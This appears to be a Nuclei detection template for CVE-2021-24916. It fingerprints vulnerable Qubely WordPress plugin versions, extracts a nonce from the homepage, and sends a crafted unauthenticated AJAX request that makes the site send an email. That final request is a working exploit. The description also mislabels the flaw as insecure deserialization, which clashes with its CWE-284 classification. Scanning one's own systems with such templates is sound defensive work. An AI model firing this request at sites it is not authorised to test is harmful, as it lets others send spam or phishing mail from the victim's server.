id: CVE-2021-24916

info:
  name: WordPress Qubely < 1.8.6 - Unauthenticated Email Sending
  author: roberto
  severity: high
  description: |
   Qubely WordPress plugin < 1.8.6 contains an insecure deserialization caused by unauthenticated users being able to send arbitrary emails via the qubely_send_form_data AJAX action, letting attackers send spam or malicious emails, exploit requires no authentication.
  impact: |
   Attackers can send spam or malicious emails from the server, potentially leading to spam blacklisting or abuse.
  remediation: |
   Update to version 1.8.6 or later
  reference:
    - https://wpscan.com/vulnerability/93b893be-59ad-4500-8edb-9fa7a45304d5/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24916
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-24916
    epss-score: 0.43682
    epss-percentile: 0.97577
    cwe-id: CWE-284
  metadata:
    max-request: 3
    verified: true
    vendor: themeum
    product: qubely
    fofa-query: body="qubely_urls"
    publicwww-query: "/wp-content/plugins/qubely/"
  tags: cve,cve2021,wordpress,wp-plugin,qubely,wp,email,unauth

flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/qubely/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Qubely")'
          - 'compare_versions(version, "< 1.8.6")'
        internal: true
        condition: and

    extractors:
      - type: regex
        name: version
        internal: true
        group: 1
        regex:
          - '(?m)Stable tag:\s*([\d.]+)'

  - method: GET
    path:
      - "{{BaseURL}}/"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "qubely_urls", "\"nonce\"")'
        internal: true
        condition: and

    extractors:
      - type: regex
        name: nonce
        internal: true
        group: 1
        regex:
          - '"nonce":"([a-f0-9]+)"'

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=qubely_send_form_data&email-receiver=test@example.com&email-subject=CVE-2021-24916+Test&email-body=test&field-error-message=err&form-success-message=qubely49fc16d8&form-error-message=qubely49fc16d8&qubely-form-input[name]=test&security={{nonce}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"success\":true", "qubely49fc16d8")'
        condition: and
# digest: 4b0a00483046022100f069b6500394fff238e5916767418ae28f54c6da806d310a7ad0e571e6a2e69a022100d7531ad6db225bb6aaa345232b66d63e18f07df1bf6ee229ba6f41ce8fe4a0d3:922c64590222798bb761d5b6d8e72950